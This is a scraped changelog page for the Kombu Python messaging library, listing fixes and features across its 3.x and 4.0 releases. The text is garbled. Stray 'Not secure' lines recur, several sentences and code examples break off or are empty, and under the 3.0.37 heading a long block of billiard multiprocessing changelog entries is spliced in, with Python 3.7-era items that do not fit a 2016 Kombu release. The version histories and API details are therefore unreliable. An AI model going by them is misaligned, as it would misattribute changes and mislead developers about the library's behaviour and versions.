- etcd: Added handling for :exc:`EtcdException` exception rather than

Contributed by **Stephen Milner**.

- Documentation improvements by:

- **Mads Jensen**
- **Matias Insaurralde**
- **Omer Katz**
- **Dmitry Dygalo**
- **Christopher Hoskin**

.. _version-4.0.2:


Not secure
:release-date: 2016-12-15 03:31 P.M PST
:release-by: Ask Solem

- Now depends on :mod:`amqp` 2.1.4

This new version takes advantage of TCP Keepalive settings on Linux,
making it better at detecting closed connections, also in failover

- Redis: Priority was reversed so, e.g. priority 0 became priority 9.

.. _version-4.0.1:


Not secure
:release-date: 2016-12-07 06:00 P.M PST
:release-by: Ask Solem

- Now depends on :mod:`amqp` 2.1.3

This new version takes advantage of the new ``TCP_USER_TIMEOUT`` socket option
on Linux.

- Producer: Fixed performance degradation when default exchange specified
(Issue 651).

- QPid: Switch to using getattr in qpid.Transport.__del__ (Issue 658)

Contributed by **Patrick Creech**.

- QPid: Now uses monotonic time for timeouts.

- MongoDB: Fixed compatibility with Python 3 (Issue 661).

- Consumer: ``__exit__`` now skips cancelling consumer if connection-related
error raised (Issue 670).

- MongoDB: Removes use of natural sort (Issue 638).

Contributed by **Anton Chaporgin**.

- Fixed wrong keyword argument ``channel`` error (Issue 652).

Contributed by **Toomore Chiang**.

- Safe argument to ``urllib.quote`` must be bytes on Python 2.x (Issue 645).

- Documentation improvements by:

- **Carlos Edo**
- **Cemre Mengu**

.. _version-4.0:


:release-date: 2016-10-28 16:45 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 2.0.

The new py-amqp version have been refactored for better performance,
using modern Python socket conventions, and API consistency.

- No longer depends on :mod:`anyjson`.

Kombu will now only choose between :pypi:`simplejson` and the built-in

Using the latest version of simplejson is recommended:

.. code-block:: console

$ pip install -U simplejson

- Removed transports that are no longer supported in this version:

- Django ORM transport
- SQLAlchemy ORM transport
- Beanstalk transport
- ZeroMQ transport
- amqplib transport (use pyamqp).

- API Changes

* Signature of :class:`kombu.Message` now takes body as first argment.

It used to be ``Message(channel, body=body, **kw)``, but now it's
``Message(body, channel=channel, **kw)``.

This is unlikey to affect you, as the Kombu API does not have
users instantiate messages manually.

- New SQS transport

Donated by NextDoor, with additional contributions from mdk.

.. note::

``kombu[sqs]`` now depends on :pypi:`pycurl`.

- New Consul transport.

Contributed by **Wido den Hollander**.

- New etcd transport.

Contributed by **Stephen Milner**.

- New Qpid transport.

It was introduced as an experimental transport in Kombu 3.0, but is now
mature enough to be fully supported.

Created and maintained by **Brian Bouterse**.

- Redis: Priority 0 is now lowest, 9 is highest.
(**backward incompatible**)

This to match how priorities in AMQP works.

Fix contributed by **Alex Koshelev**.

- Redis: Support for Sentinel

You can point the connection to a list of sentinel URLs like:

.. code-block:: text


where each sentinel is separated by a `;`. Multiple sentinels are handled
by :class:`kombu.Connection` constructor, and placed in the alternative
list of servers to connect to in case of connection failure.

Contributed by **Sergey Azovskov**, and **Lorenzo Mancini**

- RabbitMQ Queue Extensions

New arguments have been added to :class:`kombu.Queue` that lets
you directly and conveniently configure the RabbitMQ queue extensions.

- ``Queue(expires=20.0)``

Set queue expiry time in float seconds.

See :attr:`kombu.Queue.expires`.

- ``Queue(message_ttl=30.0)``

Set queue message time-to-live float seconds.

See :attr:`kombu.Queue.message_ttl`.

- ``Queue(max_length=1000)``

Set queue max length (number of messages) as int.

See :attr:`kombu.Queue.max_length`.

- ``Queue(max_length_bytes=1000)``

Set queue max length (message size total in bytes) as int.

See :attr:`kombu.Queue.max_length_bytes`.

- ``Queue(max_priority=10)``

Declare queue to be a priority queue that routes messages
based on the ``priority`` field of the message.

See :attr:`kombu.Queue.max_priority`.

- RabbitMQ: ``Message.ack`` now supports the ``multiple`` argument.

If multiple is set to True, then all messages received before
the message being acked will also be acknowledged.

- ``amqps://`` can now be specified to require SSL (Issue 610).

- ``Consumer.cancel_by_queue`` is now constant time.

- ``Connection.ensure*`` now raises :exc:`kombu.exceptions.OperationalError`.

Things that can be retried are now reraised as

- Redis: Fixed SSL support.

Contributed by **Robert Kolba**.

- New ``Queue.consumer_arguments`` can be used for the ability to
set consumer priority via ``x-priority``.



.. code-block:: python

consumer_arguments={'x-priority': 3},

- Queue/Exchange: ``no_declare`` option added (also enabled for
internal amq. exchanges) (Issue 565).

- JSON serializer now calls ``obj.__json__`` for unsupported types.

This means you can now define a ``__json__`` method for custom
types that can be reduced down to a built-in json type.


.. code-block:: python

class Person:
first_name = None
last_name = None
address = None

def __json__(self):
return {
'first_name': self.first_name,
'last_name': self.last_name,
'address': self.address,

- JSON serializer now handles datetimes, Django promise, UUID and Decimal.

- Beanstalk: Priority 0 is now lowest, 9 is highest.
(**backward incompatible**)

This to match how priorities in AMQP works.

Fix contributed by **Alex Koshelev**.

- Redis: now supports SSL using the ``ssl`` argument to

- Redis: Fanout exchanges are no longer visible between vhosts,
and fanout messages can be filtered by patterns.
(**backward incompatible**)

It was possible to enable this mode previously using the
``fanout_prefix``, and ``fanout_patterns``
transport options, but now these are enabled by default.

If you want to mix and match producers/consumers running different
versions you need to configure your kombu 3.x clients to also enable
these options:

.. code-block:: pycon

>>> Connection(transport_options={
'fanout_prefix': True,
'fanout_patterns': True,

- Pidbox: Mailbox new arguments: TTL and expiry.

Mailbox now supports new arguments for controlling
message TTLs and queue expiry, both for the mailbox
queue and for reply queues.

- ``queue_expires`` (float/int seconds).
- ``queue_ttl`` (float/int seconds).
- ``reply_queue_expires`` (float/int seconds).
- ``reply_queue_ttl`` (float/int seconds).

All take seconds in int/float.

Contributed by **Alan Justino**.

- Exchange.delivery_mode now defaults to :const:`None`, and the default
is instead set by ``Producer.publish``.

- :class:`~kombu.Consumer` now supports a new ``prefetch_count`` argument,
which if provided will force the consumer to set an initial prefetch count
just before starting.

- Virtual transports now stores ``priority`` as a property, not in
``delivery_info``, to be compatible with AMQP.

- ``reply_to`` argument to ``Producer.publish`` can now be
:class:`~kombu.Queue` instance.

- Connection: There's now a new method
``Connection.supports_exchange_type(type)`` that can be used to check if the
current transport supports a specific exchange type.

- SQS: Consumers can now read json messages not sent by Kombu.

Contributed by **Juan Carlos Ferrer**.

- SQS: Will now log the access key used when authentication fails.

Contributed by **Hank John**.

- Added new :class:`kombu.mixins.ConsumerProducerMixin` for consumers that
will also publish messages on a separate connection.

- Messages: Now have a more descriptive ``repr``.

Contributed by **Joshua Harlow**.

- Async: HTTP client based on curl.

- Async: Now uses `poll` instead of `select` where available.

- MongoDB: Now supports priorities

Contributed by **Alex Koshelev**.

- Virtual transports now supports multiple queue bindings.

Contributed by **Federico Ficarelli**.

- Virtual transports now supports the anon exchange.

If when publishing a message, the exchange argument is set to '' (empty
string), the routing_key will be regarded as the destination queue.

This will bypass the routing table compeltely, and just deliver the
message to the queue name specified in the routing key.

- Zookeeper: Transport now uses the built-in suport in kazoo to handle
failover when using a list of server names.

Contributed by **Joshua Harlow**.

- now passes keyword arguments to .consume.

Deprecations and removals

- The deprecated method ``Consumer.add_queue_from_dict`` has been removed.

Use instead:

.. code-block:: python

consumer.add_queue(Queue.from_dict(queue_name, **options))

- The deprecated function ``kombu.serialization.encode`` has been removed.

Use :func:`kombu.serialization.dumps` instead.

- The deprecated function ``kombu.serialization.decode`` has been removed.

Use :func:`kombu.serialization.loads` instead.

- Removed module ``kombu.syn``

``detect_environment`` has been moved to kombu.utils.compat

.. _version-3.0.37:


Not secure
- Support Sphinx 4.x.
- Remove dependency to case.
- Drop support of Python < 3.7.
- Update to psutil 5.9.0.
- Add python_requires to enforce Python version.
- Replace deprecated threading Event.isSet with Event.is_set.

- Issue 309: Add Python 3.9 support to spawnv_passfds()
- fix 314



- Logging max memory reached at INFO rather than WARNING (255)

- Pass arguments when wrapping sys.exit (275)

- Remove win32/py2k special (276)

- Ensure READY messages sent out by exiting worker are consumed prior to it actually existing.

- Pass max_memory_per_child to child worker process (251)

- Fix compatibility with Python 2.7 on Windows (283)


- Add support of sending parent process death signal.

- Previous fix for handling timeouts caused a problem in warm shutdowns due
to use of deepcopy.

We now use a shallow copy of the cache and do so only when it is needed.

- Cleanup old checks and workarounds for Python versions we no longer support.


- Fix a crash when handling a timeout.
- Improve billiard.einfo.Frame compatibility with Python to avoid crashes when using Django.
- Cleanups.


- Fix rebuild_ctype losing BufferedWrapper reference on Python 3.
- Deprecation warning with python 3.6 fixed.
- Correct spawn start method.


- Adds Process._authkey alias to .authkey for 2.7 compat.
- Remove superfluous else clause from max_memory_per_child_check.
- Document and test all supported Python versions.
- Extend 'Process' to be compatible with < Py3.5.
- Use a properly initialized logger in error logging.
- _trywaitkill can now kill a whole process group if the worker process declares itself as a group leader.
- Fix cpython issue 14881 (See
- Fix for a crash on windows.
- Fix messaging in case of worker exceeds max memory.


- max_memory_per_child was measured in kilobytes on Linux, but bytes on
*BSD/MacOS, it's now always kilobytes.

- Windows: Adds support for max_memory_per_child, but requires the
``psutil`` package to be installed.

- Fixed bug in ForkingPickler.loadbuf, where it tried to pass
a BytesIO instance directly to ``pickle.loads`` on Python 2.7.


- Connection: Properly handle EINTR (Issue 191).

- Fixed bug with missing CreateProcess for Windows on Python 2.7.

- Adds Process._counter for compatibility with Python <3.5.


- No longer supports Python 2.6

You need Python 2.7 or later to use this version of billiard.

- Merged changes from CPython 3.5


- Pool: Timeouts will attempt to send SIGKILL, but this signal
does not exist on Windows. Replaced with SIGTERM.


- Pool: Exceptions in user timeout callbacks are now logged instead
of crashing the pool.

Contributed by Pierre Fersing.

- Pool: Exit codes in errors were improperly being represented as signals.

- Pool: ``.map``. and ``.imap`` now working again.

- Now builds on FreeBSD 10.

Contributed by Michael Fladischer.


- Now compiles on GNU/kFreeBSD

Contributed by Michael Fladischer.

- Pool: `AF_PIPE` address fixed so that it works on recent Windows versions
in combination with Python 2.7.7.

Fix contributed by Joshua Tacoma.

- Pool: Fix for `Supervisor object has no attribute _children` error.

Fix contributed by Andres Riancho.

- Pool: Fixed bug with human_status(None).

- Pool: shrink did not work properly if asked to remove more than 1 process.


- Fixes SemLock on Python 3.4 (Issue 107) when using

- Pool: Include more useful exitcode information when processes exit.


- Previous release was missing the billiard.py3 package from MANIFEST
so the installation would not work on Python 3.


- Pool: Fixed "cannot join process not started" error.

- Now uses billiard.py2 and billiard.py3 specific packages that are installed
depending on the python version used.

This way the installation will not import version specific modules (and
possibly crash).


- Fixed problem with our backwards compatible ``bytes`` wrapper
(Issue 103).

- No longer expects frozen applications to have a valid ``__file__``

Fix contributed by George Sibble.


- Fixes compatibility with Python < 2.7.6

- No longer attempts to handle ``SIGBUS``

Contributed by Vishal Vatsa.

- Non-thread based pool now only handles signals:


- Only show compilation warning for build related commands.


- Fixed installation for Python 3.

Contributed by Rickert Mulder.

- Pool: Fixed bug with maxtasksperchild.

Fix contributed by Ionel Cristian Maries.

- Pool: Fixed bug in maintain_pool.


- Fixed Unicode error when installing the distribution (Issue 89).

- Daemonic processes are now allowed to have children.

But note that it will not be possible to automatically
terminate them when the process exits.

See discussion at

- Pool: Would not always be able to detect that a process exited.


- Windows: Fixed problem with missing ``WAITABANDONED_0``

Fix contributed by Matthias Wagner

- Windows: PipeConnection can now be inherited.

Fix contributed by Matthias Wagner


- Temporary workaround for Celery maxtasksperchild issue.

Fix contributed by Ionel Cristian Maries.


- Now also sets ``multiprocessing.current_process`` for compatibility
with loggings ``processName`` field.


- Fixed compatibility with PyPy 2.1 + 2.2.

- Fixed problem in pypy detection.

Fix contributed by Tin Tvrtkovic.

- Now uses ``ctypes.find_library`` instead of hardcoded path to find
the macOS CoreServices framework.

Fix contributed by Moritz Kassner.


- Now works without C extension again.

- New ``, buffer, [len, ])`` function
implements with buffer support (new buffer API)

- New pure-python implementation of ``Connection.send_offset``.


- All platforms except for Windows/PyPy/Jython now requires the C extension.


- Fixed problem with Python3 and setblocking.


- Now works on Windows again.


- ApplyResult.terminate() may be set to signify that the job
must not be executed. It can be used in combination with

- Pipe/_SimpleQueue: Now supports rnonblock/wnonblock arguments
to set the read or write end of the pipe to be nonblocking.

- Pool: Log message included exception info but exception happened
in another process so the resulting traceback was wrong.

- Pool: Worker process can now prepare results before they are sent
back to the main process (using ``Worker.prepare_result``).


- Pool: New ``correlation_id`` argument to ``apply_async`` can be
used to set a related id for the ``ApplyResult`` object returned:

>>> r = pool.apply_async(target, args, kwargs, correlation_id='foo')
>>> r.correlation_id

- Pool: New callback `on_process_exit` is called when a pool
process exits, with signature ``(pid, exitcode)``.

Contributed by Daniel M. Taub.

- Pool: Improved the too many restarts detection.


- Dual code base now runs on Python 2.6+ and Python 3.

- No longer compatible with Python 2.5

- Includes many changes from multiprocessing in 3.4.

- Now uses ``time.monotonic`` when available, also including
fallback implementations for Linux and macOS.

- No longer cleans up after receiving SIGILL, SIGSEGV or SIGFPE

Contributed by Kevin Blackham

- ``Finalize`` and ``register_after_fork`` is now aliases to multiprocessing.

It's better to import these from multiprocessing directly now
so that there aren't multiple registries.

- New `billiard.queues._SimpleQueue` that does not use semaphores.

- Pool: Can now be extended to support using multiple IPC queues.

- Pool: Can now use async I/O to write to pool IPC queues.

- Pool: New ``Worker.on_loop_stop`` handler can be used to add actions
at pool worker process shutdown.

Note that, like all finalization handlers, there is no guarantee that
this will be executed.

Contributed by dmtaub.


:release-date: 2016-10-06 05:00 P.M PDT
:release-by: Ask Solem

- Connection: Return value of ``.info()`` was no longer JSON serializable,
leading to "itertools.cycle object not JSON serializable"
errors (Issue 635).

.. _version-3.0.36:


:release-date: 2016-09-30 03:06 P.M PDT
:release-by: Ask Solem

- Connection: Fixed bug when cloning connection with alternate urls.

Fix contributed by Emmanuel Cazenave.

- Redis: Fixed problem with unix socket connections.

Fix contributed by Raphael Michel.

- Redis: Fixed compatibility with older redis-py versions (Issue 576).

- Broadcast now retains queue name when being copied/pickled (Issue 578).

.. _version-3.0.35:


:release-date: 2016-03-22 11:22 P.M PST
:release-by: Ask Solem

- msgpack: msgpack support now requires msgpack-python > 0.4.7.

- Redis: TimeoutError was no longer handled as a recoverable error.

- Redis: Adds the ability to set more Redis connection options
using ``Connection(transport_options={...})``.

- ``socket_connect_timeout``
- ``socket_keepalive`` (requires :mod:`redis-py` > 2.10)
- ``socket_keepalive_options`` (requires :mod:`redis-py` > 2.10)

- msgpack: Fixes support for binary/unicode data

.. _version-3.0.34:


:release-date: 2016-03-03 05:30 P.M PST
:release-by: Ask Solem

- Qpid: Adds async error handling.

Contributed by Brian Bouterse.

- Qpid: Delivery tag is now a UUID4 (Issue 563).

Fix contributed by Brian Bouterse.

- Redis: Connection.as_uri() returned malformed URLs when the
``redis+socket`` scheme was ised (Issue celery/celery2995).

- msgpack: Use binary encoding instead of utf-8 (Issue 570).

.. _version-3.0.33:


:release-date: 2016-01-08 06:36 P.M PST
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.9.

- Redis: Fixed problem with auxilliary connections causing the main
consumer connection to be closed (Issue 550).

- Qpid: No longer uses threads to operate, to ensure compatibility with
all environments (Issue 531).

.. _version-3.0.32:


:release-date: 2015-12-16 02:29 P.M PST
:release-by: Ask Solem

- Redis: Fixed bug introduced in 3.0.31 where the redis transport always
connects to localhost, regardless of host setting.

.. _version-3.0.31:


:release-date: 2015-12-16 12:00 P.M PST
:release-by: Ask Solem

- Redis: Fixed bug introduced in 3.0.30 where socket was prematurely

- Hub: Removed debug logging message: "Deregistered fd..." (Issue 549).

.. _version-3.0.30:


:release-date: 2015-12-07 12:28 A.M PST
:release-by: Ask Solem

- Fixes compatiblity with uuid in Python 2.7.11 and 3.5.1.

Fix contributed by Kai Groner.

- Redis transport: Attempt at fixing problem with hanging consumer
after disconnected from server.

- Event loop:
Attempt at fixing issue with 100% CPU when using the Redis transport,

- Database transport: Fixed oracle compatiblity.

An "ORA-00907: missing right parenthesis" error could manifest when using
an Oracle database with the database transport.

Fix contributed by Deepak N.

- Documentation fixes

Contributed by Tommaso Barbugli.

.. _version-3.0.29:


:release-date: 2015-10-26 11:10 A.M PDT
:release-by: Ask Solem

- Fixed serialization issue for ``bindings.as_dict()`` (Issue 453).

Fix contributed by Sergey Tikhonov.

- Json serializer wrongly treated bytes as ``ascii``, not ``utf-8``
(Issue 532).

- MongoDB: Now supports pymongo 3.x.

Contributed by Len Buckens.

- SQS: Tests passing on Python 3.

Fix contributed by Felix Yan

.. _version-3.0.28:


:release-date: 2015-10-12 12:00 PM PDT
:release-by: Ask Solem

.. admonition:: Django transport migrations.

If you're using Django 1.8 and have already created the
kombu_transport_django tables, you have to run a fake initial migration:

.. code-block:: console

$ python migrate kombu_transport_django --fake-initial

- No longer compatible with South by default.

To keep using kombu.transport.django with South migrations
you now need to configure a new location for the kombu migrations:

.. code-block:: python


- Keep old South migrations in ``kombu.transport.django.south_migrations``.

- Now works with Redis < 2.10 again.

.. _version-3.0.27:


:release-date: 2015-10-09 3:10 PM PDT
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.7.

- Fixed libSystem import error on some macOS 10.11 (El Capitan) installations.

Fix contributed by Eric Wang.

- Now compatible with Django 1.9.

- Django: Adds migrations for the database transport.

- Redis: Now depends on py-redis 2.10.0 or later (Issue 468).

- QPid: Can now connect as localhost (Issue 519).

Fix contributed by Brian Bouterse.

- QPid: Adds support for ``login_method`` (Issue 502, Issue 499).

Contributed by Brian Bouterse.

- QPid: Now reads SASL mechanism from broker string (Issue 498).

Fix contributed by Brian Bouterse.

- QPid: Monitor thread now properly terminated on session close (Issue 485).

Fix contributed by Brian Bouterse.

- QPid: Fixed file descriptor leak (Issue 476).

Fix contributed by Jeff Ortel

- Docs: Fixed wrong order for entrypoint arguments (Issue 473).

- ConsumerMixin: Connection error logs now include traceback (Issue 480).

- BaseTransport now raises RecoverableConnectionError when disconnected
(Issue 507).

- Consumer: Adds ``tag_prefix`` option to modify how consumer tags are
generated (Issue 509).

.. _version-3.0.26:


:release-date: 2015-04-22 06:00 P.M UTC
:release-by: Ask Solem

- Fixed compatibility with py-redis versions before 2.10.3 (Issue 470).

.. _version-3.0.25:


Not secure
:release-date: 2015-04-21 02:00 P.M UTC
:release-by: Ask Solem

- pyamqp/librabbitmq now uses 5671 as default port when SSL is enabled
(Issue 459).

- Redis: Now supports passwords in ``redis+socket://:passhost:port`` URLs
(Issue 460).

- ``Producer.publish`` now defines the ``expiration`` property in support
of the `RabbitMQ per-message TTL extension`_.

Contributed by Anastasis Andronidis.

- Connection transport attribute now set correctly for all transports.

Contributed by Alex Koshelev.

- qpid: Fixed bug where the connectionw as not being closed properly.

Contributed by Brian Bouterse.

- :class:`~kombu.entity.bindings` is now JSON serializable (Issue 453).

Contributed by Sergey Tikhonov.

- Fixed typo in error when yaml is not installed (said ``msgpack``).

Contributed by Joshua Harlow.

- Redis: Now properly handles :exc:`redis.exceptions.TimeoutError`
raised by :mod:`redis`.

Contributed by markow.

- qpid: Adds additional string to check for when connecting to qpid.

When we connect to qpid, we need to ensure that we skip to the next SASL
mechanism if the current mechanism fails. Otherwise, we will keep retrying the
connection with a non-working mech.

Contributed by Chris Duryee.

- qpid: Handle ``NotFound`` exceptions.

Contributed by Brian Bouterse.

- :class:`Queue.__repr__` now makes sure return value is not unicode
(Issue 440).

- qpid: ``Queue.purge`` incorrectly raised :exc:`AttributeErrror` if the
does not exist (Issue 439).

Contributed by Brian Bouterse.

- Linux: Now ignores permission errors on epoll unregister.

.. _`RabbitMQ per-message TTL extension`:

.. _version-3.0.24:


Not secure
:release-date: 2014-11-17 11:00 P.M UTC
:release-by: Ask Solem

- The `Qpid <>`_ broker is supported for Python 2.x
environments. The Qpid transport includes full SSL support within Kombu. See
the :mod:`kombu.transport.qpid` docs for more info.

Contributed by Brian Bouterse and Chris Duryee through support from Red Hat.

- Dependencies: extra[librabbitmq] now requires librabbitmq 1.6.0

- Docstrings for :class:`~kombu.utils.limit.TokenBucket` did not match

Fix contributed by Jesse Dhillon.

- :func:`~kombu.common.oid_from` accidentally called ``uuid.getnode()`` but
did not use the return value.

Fix contributed by Alexander Todorov.

- Redis: Now ignores errors when cosing the underlying connection.

- Redis: Restoring messages will now use a single connection.

- ``kombu.five.monotonic``: Can now be imported even if ctypes is not
available for some reason (e.g. App Engine)

- Documentation: Improved example to use the ``declare`` argument to
``Producer`` (Issue 423).

- Django: Fixed ``app_label`` for older Django versions (``< 1.7``).
(Issue 414).

.. _version-3.0.23:


Not secure
:release-date: 2014-09-14 10:45 P.M UTC
:release-by: Ask Solem

- Django: Fixed bug in the Django 1.7 compatibility improvements related
to autocommit handling.

Contributed by Radek Czajka.

- Django: The Django transport models would not be created on syncdb
after app label rename (Issue 406).

.. _version-3.0.22:


Not secure
:release-date: 2014-09-04 03:00 P.M UTC
:release-by: Ask Solem

- kombu.async: Min. delay between waiting for timer was always increased to
one second.

- Fixed bug in itermessages where message is received after the with
statement exits the block.

Fixed by Rumyana Neykova

- Connection.autoretry: Now works with functions missing wrapped attributes
(``__module__``, ``__name__``, ``__doc__``). Fixes 392.

Contributed by johtso.

- Django: Now sets custom app label for ``kombu.transport.django`` to work
with recent changes in Django 1.7.

- SimpleQueue removed messages from the wrong end of buffer (Issue 380).

- Tests: Now using ``unittest.mock`` if available (Issue 381).

.. _version-3.0.21:


Not secure
:release-date: 2014-07-07 02:00 P.M UTC
:release-by: Ask Solem

- Fixed remaining bug in ``maybe_declare`` for ``auto_delete`` exchanges.

Fix contributed by Roger Hu.

- MongoDB: Creating a channel now properly evaluates a connection (Issue 363).

Fix contributed by Len Buckens.

.. _version-3.0.20:


Not secure
:release-date: 2014-06-24 02:30 P.M UTC
:release-by: Ask Solem

- Reverts change in 3.0.17 where ``maybe_declare`` caches the declaration
of auto_delete queues and exchanges.

Fix contributed by Roger Hu.

- Redis: Fixed race condition when using gevent and the channel is closed.

Fix contributed by Andrew Rodionoff.

.. _version-3.0.19:


Not secure
:release-date: 2014-06-09 03:10 P.M UTC
:release-by: Ask Solem

- The wheel distribution did not support Python 2.6 by failing to list
the extra dependencies required.

- Durable and auto_delete queues/exchanges can be be cached using

.. _version-3.0.18:


Not secure
:release-date: 2014-06-02 06:00 P.M UTC
:release-by: Ask Solem

- A typo introduced in 3.0.17 caused kombu.async.hub to crash (Issue 360).

.. _version-3.0.17:


Not secure
:release-date: 2014-06-02 05:00 P.M UTC
:release-by: Ask Solem

- ``kombu[librabbitmq]`` now depends on librabbitmq 1.5.2.

- Async: Event loop now selectively removes file descriptors for the mode
it failed in, and keeps others (e.g read vs write).

Fix contributed by Roger Hu.

- CouchDB: Now works without userid set.

Fix contributed by Latitia M. Haskins.

- SQLAlchemy: Now supports recovery from connection errors.

Contributed by Felix Schwarz.

- Redis: Restore at shutdown now works when ack emulation is disabled.

- :func:`kombu.common.eventloop` accidentally swallowed socket errors.

- Adds :func:`kombu.utils.url.sanitize_url`

.. _version-3.0.16:


Not secure
:release-date: 2014-05-06 01:00 P.M UTC
:release-by: Ask Solem

- ``kombu[librabbitmq]`` now depends on librabbitmq 1.5.1.

- Redis: Fixes ``TypeError`` problem in ``unregister`` (Issue 342).

Fix contributed by Tobias Schottdorf.

- Tests: Some unit tests accidentally required the `redis-py` library.

Fix contributed by Randy Barlow.

- librabbitmq: Would crash when using an older version of :mod:`librabbitmq`,
now emits warning instead.

.. _version-3.0.15:


Not secure
:release-date: 2014-04-15 09:00 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.5.

- RabbitMQ 3.3 changes QoS semantics (Issue 339).

See the RabbitMQ release notes here:

A new connection property has been added that can be used to detect
whether the remote server is using this new QoS behavior:

.. code-block:: pycon

>>> Connection('amqp://').qos_behavior_matches_spec

so if your application depends on the old semantics you can
use this to set the ``apply_global`` flag appropriately:

.. code-block:: python

def update_prefetch_count(channel, new_value):
0, new_value,
not channel.connection.client.qos_behavior_matches_spec,

- Users of :mod:`librabbitmq` is encouraged to upgrade to librabbitmq 1.5.0.

The ``kombu[librabbitmq]`` extra has been updated to depend on this

- Pools: Now takes transport options into account when comparing connections
(Issue 333).

- MongoDB: Fixes Python 3 compatibility.

- Async: select: Ignore socket errors when attempting to unregister handles
from the loop.

- Pidbox: Can now be configured to use a serializer other than json,
but specifying a serializer argument to :class:`~kombu.pidbox.Mailbox`.

Contributed by Dmitry Malinovsky.

- Message decompression now works with Python 3.

Fix contributed by Adam Gaca.

.. _version-3.0.14:


Not secure
:release-date: 2014-03-19 07:00 P.M UTC
:release-by: Ask Solem

- **MongoDB**: Now endures a connection failover (Issue 123).

Fix contributed by Alex Koshelev.

- **MongoDB**: Fixed ``KeyError`` when a replica set member is removed.

Also fixes celery971 and celery/898.

Fix contributed by Alex Koshelev.

- **MongoDB**: Fixed MongoDB broadcast cursor re-initialization bug.

Fix contributed by Alex Koshelev.

- **Async**: Fixed bug in lax semaphore implementation where in
some usage patterns the limit was not honored correctly.

Fix contributed by Ionel Cristian Mărieș.

- **Redis**: Fixed problem with fanout when using Python 3 (Issue 324).

- **Redis**: Fixed ``AttributeError`` from attempting to close a non-existing
connection (Issue 320).

.. _version-3.0.13:


Not secure
:release-date: 2014-03-03 04:00 P.M UTC
:release-by: Ask Solem

- Redis: Fixed serious race condition that could lead to data loss.

The delivery tags were accidentally set to be an incremental number
local to the channel, but the delivery tags need to be globally
unique so that a message can not overwrite an older message
in the backup store.

This change is not backwards incompatible and you are encouraged
to update all your system using a previous version as soon as possible.

- Now depends on :mod:`amqp` 1.4.4.

- Pidbox: Now makes sure message encoding errors are handled by default,
so that a custom error handler does not need to be specified.

- Redis: The fanout exchange can now use AMQP patterns to route and filter

This change is backwards incompatible and must be enabled with
the ``fanout_patterns`` transport option:

.. code-block:: pycon

>>> conn = kombu.Connection('redis://', transport_options={
... 'fanout_patterns': True,
... })

When enabled the exchange will work like an amqp topic exchange
if the binding key is a pattern.

This is planned to be default behavior in the future.

- Redis: Fixed ``cycle`` no such attribute error.

.. _version-3.0.12:


Not secure
:release-date: 2014-02-09 03:50 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.3.

- Fixes Python 3.4 logging incompatibility (Issue 311).

- Redis: Now properly handles unknown pub/sub messages.

Fix contributed by Sam Stavinoha.

- amqplib: Fixed bug where more bytes were requested from the socket
than necessary.

Fix contributed by Ionel Cristian Mărieș.

.. _version-3.0.11:


Not secure
:release-date: 2014-02-03 05:00 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.2.

- Now always trusts messages of type `application/data` and `application/text`
or which have an unspecified content type (Issue 306).

- Compression errors are now handled as decode errors and will trigger
the ``Consumer.on_decode_error`` callback if specified.

- New ``kombu.Connection.get_heartbeat_interval()`` method that can be
used to access the negotiated heartbeat value.

- `kombu.common.oid_for` no longer uses the MAC address of the host, but
instead uses a process-wide UUID4 as a node id.

This avoids a call to `uuid.getnode()` at module scope.

- Hub.add: Now normalizes registered fileno.

Contributed by Ionel Cristian Mărieș.

- SQS: Fixed bug where the prefetch count limit was not respected.

.. _version-3.0.10:


Not secure
:release-date: 2014-01-17 05:40 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.1.

- ``maybe_declare`` now raises a "recoverable connection error" if
the channel is disconnected instead of a :exc:`ChannelError` so that
the operation can be retried.

- Redis: ``Consumer.cancel()`` is now thread safe.

This fixes an issue when using gevent/eventlet and a
message is handled after the consumer is canceled resulting
in a "message for queue without consumers" error.

- Retry operations would not always respect the interval_start
value when calculating the time to sleep for (Issue 303).

Fix contributed by Antoine Legrand.

- Timer: Fixed "unhashable type" error on Python 3.

- Hub: Do not attempt to unregister operations on an already closed
poller instance.

.. _version-3.0.9:


Not secure
:release-date: 2014-01-13 05:30 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.4.0.

- Redis: Basic cancel for fanout based queues now sends a corresponding
``UNSUBSCRIBE`` command to the server.

This fixes an issue with pidbox where reply messages could be received
after the consumer was canceled, giving the ``"message to queue without
consumers"`` error.

- MongoDB: Improved connection string and options handling
(Issue 266 + Issue 120).

Contributed by Alex Koshelev.

- SQS: Limit the number of messages when receiving in batch to 10.

This is a hard limit enforced by Amazon so the sqs transport
must not exceeed this value.

Fix contributed by Eric Reynolds.

- ConsumerMixin: ``consume`` now checks heartbeat every time the
socket times out.

Contributed by Dustin J. Mitchell.

- Retry Policy: A max retries of 0 did not retry forever.

Fix contributed by Antoine Legrand.

- Simple: If passing a Queue object the simple utils will now take
default routing key from that queue.

Contributed by Fernando Jorge Mota.

- ``repr(producer)`` no longer evaluates the underlying channnel.

- Redis: The map of Redis error classes are now exposed at the module level
using the :func:`kombu.transport.redis.get_redis_error_classes` function.

- Async: ``Hub.close`` now sets ``.poller`` to None.

.. _version-3.0.8:


Not secure
:release-date: 2013-12-16 05:00 P.M UTC
:release-by: Ask Solem

- Serializer: loads and dumps now wraps exceptions raised into
:exc:`~kombu.exceptions.DecodeError` and
:exc:`kombu.exceptions.EncodeError` respectively.

Contributed by Ionel Cristian Maries

- Redis: Would attempt to read from the wrong connection if a select/epoll/kqueue
exception event happened.

Fix contributed by Michael Nelson.

- Redis: Disabling ack emulation now works properly.

Fix contributed by Michael Nelson.

- Redis: :exc:`IOError` and :exc:`OSError` are now treated as recoverable
connection errors.

- SQS: Improved performance by reading messages in bulk.

Contributed by Matt Wise.

- Connection Pool: Attempting to acquire from a closed pool will now
raise :class:`RuntimeError`.

.. _version-3.0.7:


Not secure
:release-date: 2013-12-02 04:00 P.M UTC
:release-by: Ask Solem

- Fixes Python 2.6 compatibility.

- Redis: Fixes 'bad file descriptor' issue.

.. _version-3.0.6:


Not secure
:release-date: 2013-11-21 04:50 P.M UTC
:release-by: Ask Solem

- Timer: No longer attempts to hash keyword arguments (Issue 275).

- Async: Did not account for the long type for file descriptors.

Fix contributed by Fabrice Rabaute.

